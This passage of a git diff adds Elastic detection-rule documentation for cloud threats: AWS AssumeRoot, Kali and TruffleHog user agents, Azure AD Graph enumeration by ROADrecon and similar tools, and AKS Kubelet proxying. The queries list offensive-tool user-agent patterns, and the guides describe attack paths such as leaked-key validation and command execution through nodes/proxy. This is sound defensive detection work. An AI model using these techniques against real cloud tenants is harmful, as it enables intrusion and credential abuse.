- Ensure `AssumeRoot` activity is included in your SIEM dashboards and investigation playbooks. + +- **Post-incident improvements** + - If activity is confirmed malicious or unsafe: + - Rotate credentials for all involved principals and review recent STS session usage for anomalies. + - Update internal runbooks to clearly define when `AssumeRoot` is allowed, who can perform it, and how it should be documented. + - Refine this rule’s exceptions or tagging strategy so that legitimate, recurring workflows are well-understood, while preserving high-fidelity visibility into new or unexpected `AssumeRoot` behavior. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "sts.amazonaws.com" + and event.action: "AssumeRoot" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Temporary Elevated Cloud Access +** ID: T1548.005 +** Reference URL: https://attack.mitre.org/techniques/T1548/005/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-suspicious-user-agent-fingerprint.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-suspicious-user-agent-fingerprint.asciidoc new file mode 100644 index 0000000000..441def8078 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-suspicious-user-agent-fingerprint.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-28-aws-suspicious-user-agent-fingerprint]] +=== AWS Suspicious User Agent Fingerprint + +Identifies successful AWS API calls where the CloudTrail user agent indicates offensive tooling or automated credential verification. This includes the AWS CLI or Boto3 reporting a Kali Linux distribution fingerprint (`distrib#kali`), and clients that identify as TruffleHog, which is commonly used to validate leaked secrets against live AWS APIs. These patterns are uncommon for routine production workloads and may indicate compromised credentials, unauthorized access, or security tooling operating outside approved scope. + +*Rule type*: eql + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-user-identity.html +* https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/ +* https://trufflesecurity.com/blog/trufflehog-in-your-logs +* https://kudelskisecurity.com/research/investigating-two-variants-of-the-trivy-supply-chain-compromise + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Tactic: Initial Access +* Use Case: Cloud Threat Detection +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS Suspicious User Agent Fingerprint* + + +AWS CloudTrail records the user agent string for API requests, which can reveal the OS distribution and client tooling. +Two high-signal patterns this rule covers are: + +- **Kali Linux fingerprint** — When the AWS CLI or Boto3 reports `distrib#kali`, the request likely came from a Kali + environment. Kali is widely used for penetration testing and adversarial tradecraft, so this is worth correlating with + identity, network context, and sensitivity of API actions. +- **TruffleHog** — TruffleHog identifies itself in the user agent when verifying whether recovered credentials are still + valid. Observing it against your account may indicate leaked keys are being tested, including through supply-chain or + secret-scanning abuse by a third party. + +This detection focuses on **successful** API activity. Evaluate who performed the action, what was accessed or modified, +and whether the source and tooling align with expectations. + + +*Possible investigation steps* + + +**Identify the actor** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine which IAM + principal was used. +- Check whether this principal normally uses CLI/SDK clients and whether Kali or TruffleHog is ever expected for their role. + +**Review access patterns and actions** +- Examine API calls associated with the matched user agent for high-risk activity such as IAM changes, data access, + snapshot sharing, logging modification, or persistence-related actions. +- Look for sequences indicating initial access or expansion, such as `GetSessionToken`, `AssumeRole`, or privilege + escalation attempts. +- Determine whether the activity scope aligns with the principal’s intended permissions and business function. + +**Inspect source network and tooling context** +- Review `source.ip`, `source.geo` fields, and ASN to determine whether the request originated from an expected corporate + network, VPN, CI/CD egress, or known security testing infrastructure. +- Analyze `user_agent.original` to confirm which pattern matched (`distrib#kali` vs `TruffleHog`) and whether usage looks + interactive, scripted, or scanner-driven. +- Sudden shifts from console-based access to CLI from an offensive distribution, or first-time TruffleHog against the + account, may indicate credential compromise or unauthorized scanning. + +**Correlate with surrounding activity** +- Search for additional CloudTrail events tied to the same access key or session before and after this detection. +- Look for evidence of follow-on actions such as resource creation, configuration changes, or attempts to disable logging + and monitoring services. +- Assess whether the activity represents a single isolated request or part of a broader behavioral chain. + + +*False positive analysis* + + +- Internal red team or authorized assessments may produce Kali-based AWS CLI or SDK traffic. Confirm scope, timing, and + authorization. +- Organizational use of TruffleHog in CI to validate rotated keys or scan artifacts may generate this signal; restrict + exceptions to known roles, repositories, and egress IPs where possible. + + +*Response and remediation* + + +- If the activity is unauthorized, immediately revoke or rotate the affected access keys or invalidate the active + session. +- Review IAM permissions associated with the identity and reduce scope where possible to enforce least privilege. +- Investigate for additional indicators of compromise, including unusual role assumptions, new credential creation, or + data access from the same identity. +- Notify security operations and incident response teams if the activity aligns with known adversary behaviors or appears + part of a larger intrusion. +- Consider adding guardrails or conditional access controls (such as source IP restrictions or MFA enforcement) for + sensitive IAM principals. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "aws.cloudtrail" + and event.outcome == "success" + and ( + ( + stringContains(user_agent.original, "distrib#kali") + or stringContains(user_agent.original, "+kali") + or stringContains(user_agent.original, "kali-amd64") + or stringContains(user_agent.original, "kali-arm64") + ) or ( + stringContains(user_agent.original, "TruffleHog") + or stringContains(user_agent.original, "trufflehog") + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-azure-ad-graph-access-with-suspicious-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-azure-ad-graph-access-with-suspicious-user-agent.asciidoc new file mode 100644 index 0000000000..67148b7520 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-azure-ad-graph-access-with-suspicious-user-agent.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-28-azure-ad-graph-access-with-suspicious-user-agent]] +=== Azure AD Graph Access with Suspicious User-Agent + +Identifies Azure AD Graph (graph.windows.net) requests originating from user-agent strings associated with offensive tooling, scripting libraries, or generic HTTP clients. First-party Microsoft components calling AAD Graph identify with specific user agents such as "Microsoft Azure Graph Client Library", "Microsoft ADO.NET Data Services", or "Microsoft.OData.Client". Anything outside that recognised set is either a developer prototyping against the legacy API or an enumeration tool walking the directory. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 9m + +*Searches indices from*: now-10m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/graph/migrate-azure-ad-graph-overview +* https://github.com/dirkjanm/ROADtools +* https://www.sophos.com/en-us/research/tampering-with-conditional-access-policies-using-azure-ad-graph-api +* https://github.com/gerenios/aadinternals + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Azure AD Graph +* Data Source: Azure AD Graph Activity Logs +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure AD Graph Access with Suspicious User-Agent* + + +Azure AD Graph (graph.windows.net) is the legacy directory REST API that Microsoft has been retiring for years. +Legitimate first-party traffic against it is dominated by a small set of recognisable user agents (`Microsoft.OData.Client`, +`Microsoft Azure Graph Client Library`, `Microsoft ADO.NET Data Services`, the Azure portal with a Chrome user agent, +and an empty-UA tail from first-party AppIds). Traffic identifying as Python, aiohttp, curl, Go-http-client, or any +of the `*hound` enumeration families is almost always either a developer prototype or adversary tooling. This rule +flags any such request even at a single event, because tooling samples for AAD Graph are inherently low-volume in +normal tenants. + + +*Possible investigation steps* + + +- Confirm the matching user agent. + - `user_agent.original` (e.g., `aiohttp`, `AADInternals`, `curl`, `bav2ropc`). +- Identify the caller and the calling client. + - `user.id` for the caller, `azure.aadgraphactivitylogs.properties.app_id` for the OAuth client. +- Review which directory object types were touched. + - `url.path` (e.g., `/users`, `/policies`, `/servicePrincipals`). +- Check the success / failure pattern. + - `http.response.status_code`. Many 4xx responses suggest permission probing. +- Cross-reference with the API version. + - `azure.aadgraphactivitylogs.properties.api_version`. A non-Microsoft UA combined with `1.6-internal` or `1.61-internal` is a stronger signal of offensive tooling. +- Pivot to sign-in logs (`logs-azure.signinlogs-*`) for the same user / source IP to understand how the token was obtained. +- Confirm the activity is not attributable to authorized testing (red team engagement, penetration test, internal tooling validation) before treating as malicious. + + +*Response and remediation* + + +- Revoke refresh tokens and active sessions for the calling user. + - `POST /v1.0/users/{id}/revokeSignInSessions`. +- Temporarily disable the user if the alert is high-confidence or you need to halt further activity while investigation continues. + - `PATCH /v1.0/users/{id}` with body `{"accountEnabled": false}`. +- Check for device registrations created by the user during or around the burst window and remove rogue devices. + - `GET /v1.0/users/{id}/registeredDevices` and `GET /v1.0/users/{id}/ownedDevices`, then `DELETE /v1.0/devices/{deviceObjectId}`. + - Do this BEFORE session revocation: device-bound PRTs survive `revokeSignInSessions`. +- If the calling application has no legitimate AAD Graph dependency, block further use by that app. + - `PATCH /beta/applications/{id}` with body `{"authenticationBehaviors": {"blockAzureADGraphAccess": true}}`. + - This property lives on the Graph beta endpoint, not v1.0. +- Apply Conditional Access targeting the AAD Graph audience for the affected user population. + + +==== Setup + + + +*Azure AD Graph Activity Logs* + +Requires Azure AD Graph Activity Logs ingested into `logs-azure.aadgraphactivitylogs-*` via the Elastic Azure +integration (Azure Event Hub). Enable the `AzureADGraphActivityLogs` diagnostic-settings category on Entra ID. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.aadgraphactivitylogs-* metadata _id, _version, _index + +| where data_stream.dataset == "azure.aadgraphactivitylogs" + and azure.aadgraphactivitylogs.properties.actor_type == "User" + and user_agent.original is not null +| eval Esql.ua_lower = to_lower(user_agent.original) +| where Esql.ua_lower like "*fasthttp*" + or Esql.ua_lower like "*aiohttp*" + or Esql.ua_lower like "*hound*" + or Esql.ua_lower like "*aadinternals*" + or Esql.ua_lower like "*go-http-client*" + or Esql.ua_lower like "python*" + or Esql.ua_lower like "*curl/*" + or Esql.ua_lower like "*okhttp*" + or Esql.ua_lower like "*axios*" + or Esql.ua_lower like "*node-fetch*" + or Esql.ua_lower like "*go-resty*" + or Esql.ua_lower like "*bav2ropc*" + or Esql.ua_lower like "*undici*" +| keep + _id, + _version, + _index, + @timestamp, + user.id, + source.ip, + source.as.organization.name, + user_agent.original, + azure.aadgraphactivitylogs.properties.app_id, + azure.aadgraphactivitylogs.properties.api_version, + url.path, + http.response.status_code, + azure.tenant_id, + Esql.ua_lower + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Cloud Groups +** ID: T1069.003 +** Reference URL: https://attack.mitre.org/techniques/T1069/003/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Cloud Account +** ID: T1087.004 +** Reference URL: https://attack.mitre.org/techniques/T1087/004/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-azure-ad-graph-potential-enumeration-roadrecon.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-azure-ad-graph-potential-enumeration-roadrecon.asciidoc new file mode 100644 index 0000000000..778e0a7d95 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-azure-ad-graph-potential-enumeration-roadrecon.asciidoc @@ -0,0 +1,207 @@ +[[prebuilt-rule-8-19-28-azure-ad-graph-potential-enumeration-roadrecon]] +=== Azure AD Graph Potential Enumeration (ROADrecon) + +Detects an Azure AD Graph (graph.windows.net) burst from a user-agent identifying as "aiohttp" (the default HTTP library used by ROADrecon's "gather" command) where a single calling identity issues many requests in a short window. ROADrecon walks every interesting directory object type via aiohttp, producing a large volume of requests from one user / source IP / UA triple. The combination of "aiohttp" UA with a burst threshold is a structural ROADrecon signature; legitimate first-party Microsoft components do not identify as aiohttp. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/dirkjanm/ROADtools +* https://github.com/dirkjanm/ROADtools/blob/master/roadrecon/roadtools/roadrecon/gather.py +* https://learn.microsoft.com/en-us/graph/migrate-azure-ad-graph-overview + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Azure AD Graph +* Data Source: Azure AD Graph Activity Logs +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure AD Graph Potential Enumeration (ROADrecon)* + + +This is an ES|QL aggregation rule. Alert documents contain summarized fields per burst window: the calling identity, the tenant, and a one-minute bucket. The alert itself is the signal that something resembling ROADrecon's `gather` walk happened against AAD Graph; the actual investigation happens against the raw `logs-azure.aadgraphactivitylogs-*` events for the same identity and window. + + +*Possible investigation steps* + + +- Confirm the burst by filtering raw AAD Graph activity for the alerting user, tenant, and time window. + - Filter `logs-azure.aadgraphactivitylogs-*` on the alerting user, tenant, and burst window. + - ROADrecon's full `gather` walks ~16 directory collections; five or more in a single minute is the structural fingerprint. +- Tool fingerprint: aiohttp UA plus the hardcoded internal API version. + - `user_agent.original` contains `aiohttp`. + - `api_version = 1.61-internal` (hardcoded in `gather.py`, returns internal-only fields like `strongAuthenticationDetail`). + - No first-party Microsoft component identifies as aiohttp or pins `1.61-internal`. +- Calling client + auth method: the typical device-code-flow ROADrecon entrypoint. + - ROADrecon is usually pointed at the Azure CLI client (`04b07795-…`) via the `-c` flag. + - Uses a public-client auth method (no client secret or certificate). +- HTTP shape distinguishes enumeration from operator follow-on. + - `gather` reads only, so GETs dominate. + - A 403/404 tail indicates the identity probing endpoints it lacks permission for. + - PATCH / POST / DELETE in the same burst means the operator did more than enumerate. +- Source posture: residential ISP, generic VPS, or anonymising-network egress raises triage priority. +- Pivot to sign-in logs (`logs-azure.signinlogs-*`) via the sign-in correlation ID on each AAD Graph event to land on the originating token-mint. +- Pivot to audit logs (`logs-azure.auditlogs-*`) for any directory writes by the same user near the burst that suggest persistence or modification activity. +- Confirm the activity is not attributable to authorized testing before treating as malicious. + - Check for red team engagement, penetration test, or internal tooling validation. + - Validate against the engagement window and the operator's known source range. + + +*Response and remediation* + + +- Enumerate device registrations created by the user during or around the burst window. + - `GET /v1.0/users/{id}/registeredDevices` and `GET /v1.0/users/{id}/ownedDevices`. + - De-register anything not attributable to a known endpoint via `DELETE /v1.0/devices/{deviceObjectId}`. + - Do this BEFORE session revocation: device-bound PRTs survive `revokeSignInSessions`. +- Revoke refresh tokens and active sessions for the calling user. + - `POST /v1.0/users/{id}/revokeSignInSessions`. +- Temporarily disable the user if the alert is high-confidence or you need to halt further activity while investigation continues. + - `PATCH /v1.0/users/{id}` with body `{"accountEnabled": false}`. +- Audit OAuth grants and app role assignments the user holds; revoke anything minted from a kit-egress or otherwise suspicious source. + - `GET /v1.0/oauth2PermissionGrants?$filter=principalId eq '{id}'`, revoke via `DELETE /v1.0/oauth2PermissionGrants/{grantId}`. + - `GET /v1.0/users/{id}/appRoleAssignments`, revoke via `DELETE /v1.0/servicePrincipals/{spId}/appRoleAssignedTo/{assignmentId}`. +- Reset the user's password and audit authentication methods added during the window. + - `GET /v1.0/users/{id}/authentication/methods` to list. + - Remove anything unexpected via the method-type-specific endpoint. +- Audit directory writes by the user near the burst and roll back unauthorized changes. + - Query `logs-azure.auditlogs-*` for `Register device`, `Update user`, `User registered security info`, role assignment activity by the same user in the window. +- If the calling application has no legitimate AAD Graph dependency, block further use by that app. + - `PATCH /beta/applications/{id}` with body `{"authenticationBehaviors": {"blockAzureADGraphAccess": true}}`. + - This property lives on the Graph beta endpoint, not v1.0. + + +==== Setup + + + +*Azure AD Graph Activity Logs* + +Requires Azure AD Graph Activity Logs ingested into `logs-azure.aadgraphactivitylogs-*` via the Elastic Azure integration. Enable the `AzureADGraphActivityLogs` diagnostic-settings category on Entra ID. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.aadgraphactivitylogs-* metadata _id, _version, _index + +| where data_stream.dataset == "azure.aadgraphactivitylogs" + and to_lower(user_agent.original) like "*aiohttp*" + +| eval Esql.target_endpoints = case( + url.path like "*/eligibleRoleAssignments*", "eligibleRoleAssignments", + url.path like "*/roleAssignments*", "roleAssignments", + url.path like "*/users*", "users", + url.path like "*/groups*", "groups", + url.path like "*/servicePrincipals*", "servicePrincipals", + url.path like "*/applications*", "applications", + url.path like "*/devices*", "devices", + url.path like "*/directoryRoles*", "directoryRoles", + url.path like "*/roleDefinitions*", "roleDefinitions", + url.path like "*/administrativeUnits*", "administrativeUnits", + url.path like "*/contacts*", "contacts", + url.path like "*/oauth2PermissionGrants*", "oauth2PermissionGrants", + url.path like "*/authorizationPolicy*", "authorizationPolicy", + url.path like "*/settings*", "settings", + url.path like "*/policies*", "policies", + url.path like "*/tenantDetails*", "tenantDetails", + "other" + ) +| where Esql.target_endpoints != "other" + +| eval Esql.time_window = date_trunc(1 minutes, @timestamp) + +| stats + Esql.request_count = count(*), + Esql.distinct_endpoints = count_distinct(Esql.target_endpoints), + Esql.api_versions = values(azure.aadgraphactivitylogs.properties.api_version), + Esql.app_ids = values(azure.aadgraphactivitylogs.properties.app_id), + Esql.user_agent = values(user_agent.original), + Esql.http_methods = values(http.request.method), + Esql.status_codes = values(http.response.status_code), + Esql.source_ips = values(source.ip), + Esql.source_asn_orgs = values(source.`as`.organization.name), + Esql.source_countries = values(source.geo.country_name), + Esql.actor_types = values(azure.aadgraphactivitylogs.properties.actor_type), + Esql.client_auth_methods = values(azure.aadgraphactivitylogs.properties.client_auth_method), + Esql.session_ids = values(azure.aadgraphactivitylogs.properties.session_id), + Esql.sign_in_activity_ids = values(azure.aadgraphactivitylogs.properties.sign_in_activity_id), + Esql.scopes = values(azure.aadgraphactivitylogs.properties.scopes), + Esql.first_seen = min(@timestamp), + Esql.last_seen = max(@timestamp) + by + user.id, + azure.tenant_id, + Esql.time_window + +| where Esql.distinct_endpoints >= 5 + +| keep + user.id, + azure.tenant_id, + Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Cloud Groups +** ID: T1069.003 +** Reference URL: https://attack.mitre.org/techniques/T1069/003/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Cloud Account +** ID: T1087.004 +** Reference URL: https://attack.mitre.org/techniques/T1087/004/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-azure-aks-api-server-proxying-request-to-kubelet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-azure-aks-api-server-proxying-request-to-kubelet.asciidoc new file mode 100644 index 0000000000..4005dac3c9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-azure-aks-api-server-proxying-request-to-kubelet.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-28-azure-aks-api-server-proxying-request-to-kubelet]] +=== Azure AKS API Server Proxying Request to Kubelet + +Detects a non-system identity using the AKS (Azure Kubernetes Service) API server nodes/proxy subresource to reach a node's Kubelet. Proxying through the API server reaches the Kubelet API to enumerate pods or run commands on nodes, a lateral-movement and privilege-escalation vector (kubeletctl, Peirates). Node, control-plane, and kube-system service account identities that routinely proxy for monitoring are excluded, so remaining matches, including compromised workload service accounts, are surfaced for review. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.platformlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/ +* https://stratus-red-team.cloud/attack-techniques/kubernetes/k8s.privilege-escalation.nodes-proxy/ +* https://horizon3.ai/attack-research/when-read-only-isnt-k8s-nodes-proxy-get-to-rce/ +* https://microsoft.github.io/Threat-Matrix-for-Kubernetes/ +* https://github.com/inguardians/peirates + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: Azure +* Data Source: Azure Platform Logs +* Data Source: Kubernetes +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure AKS API Server Proxying Request to Kubelet* + + +AKS kube-audit events are carried under the flattened `azure.platformlogs.properties.log.*` subtree and share the ARM +operation `event.action: Microsoft.ContainerService/managedClusters/diagnosticLogs/Read`. The `nodes/proxy` subresource +tunnels a request through the API server to a node's Kubelet. An identity with this permission can enumerate pods +(`/proxy/pods`, `/proxy/runningpods`) or run commands (`/proxy/run`, `/proxy/exec`) on nodes without direct network +access to the Kubelet port. This rule excludes the node, control-plane, and kube-system service-account identities that +routinely proxy for monitoring, so remaining matches are workload identities or users that should rarely, if ever, reach +the Kubelet. + + +*Possible investigation steps* + + +- Identify the acting identity in `azure.platformlogs.properties.log.user.username` and whether a workload service + account or user should reach the Kubelet at all. Compromised pod service accounts (`system:serviceaccount::`) + are the primary vehicle for this technique. +- Inspect the proxied Kubelet endpoint in `azure.platformlogs.properties.log.requestURI`. `/metrics` and `/stats` are + monitoring; `/pods` and `/runningpods` are reconnaissance; `/run`, `/exec`, `/attach`, and `/portforward` are command + execution and warrant immediate escalation. +- Evaluate `azure.platformlogs.properties.log.sourceIPs`. This is an array; for an externally operated attack the first + element is the operator's real client IP, while the trailing entry is the internal API-server/konnectivity hop + (`172.31.x`). A first entry that is not the cluster's own egress is a strong signal. In-cluster pivots show only + internal addresses, so absence of an external IP does not clear the event. +- Review the target node in `azure.platformlogs.properties.log.objectRef.name` and correlate with subsequent activity on + that node's workloads (secret reads, RBAC changes, new pods). + + +*False positive analysis* + + +- Monitoring and log-collection agents outside kube-system proxy to the Kubelet on every scrape and will match + repeatedly; add targeted exclusions for verified monitoring service accounts and namespaces. + + +*Response and remediation* + + +- If unauthorized, revoke the acting identity's tokens and review the RBAC that granted `nodes/proxy`. +- Inspect the target node for command execution, dropped tooling, or credential theft, and rotate credentials reachable + from affected pods. +- Note that direct Kubelet access on port 10250 bypasses the API server and does not appear in kube-audit; treat a + confirmed proxy abuse as possible evidence of broader Kubelet access. +- Collect kube-audit and identity artifacts per incident response procedures. + + +==== Setup + + +The Azure Fleet integration collecting AKS diagnostic logs with the `kube-audit` category forwarded through Event Hub into the `azure.platformlogs` data stream is required for this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.platformlogs and + event.action:"Microsoft.ContainerService/managedClusters/diagnosticLogs/Read" and + azure.platformlogs.category:"kube-audit" and + azure.platformlogs.properties.log.objectRef.resource:"nodes" and + azure.platformlogs.properties.log.objectRef.subresource:"proxy" and + not azure.platformlogs.properties.log.user.username:( + system\:node\:* or "aksService" or "hcpService" or "readinessChecker" or + system\:serviceaccount\:kube-system\:* + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-azure-aks-attempted-user-exec-into-pod.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-azure-aks-attempted-user-exec-into-pod.asciidoc new file mode 100644 index 0000000000..210ab144b4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-azure-aks-attempted-user-exec-into-pod.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-28-azure-aks-attempted-user-exec-into-pod]] +=== Azure AKS Attempted User Exec into Pod + +Detects an AKS (Azure Kubernetes Service) identity establishing an exec session into a pod. Interactive command execution inside a workload via kubectl exec is a common post-compromise technique used to access secrets, run tooling, and expand access from a foothold container. Node, control-plane, and kube-system service account identities are excluded, so workload service accounts and users, the identities an adversary is most likely to abuse, remain in scope. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.platformlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/tasks/debug/debug-application/get-shell-running-container/ +* https://microsoft.github.io/Threat-Matrix-for-Kubernetes/ +* https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: Azure +* Data Source: Azure Platform Logs +* Data Source: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure AKS Attempted User Exec into Pod* + + +AKS 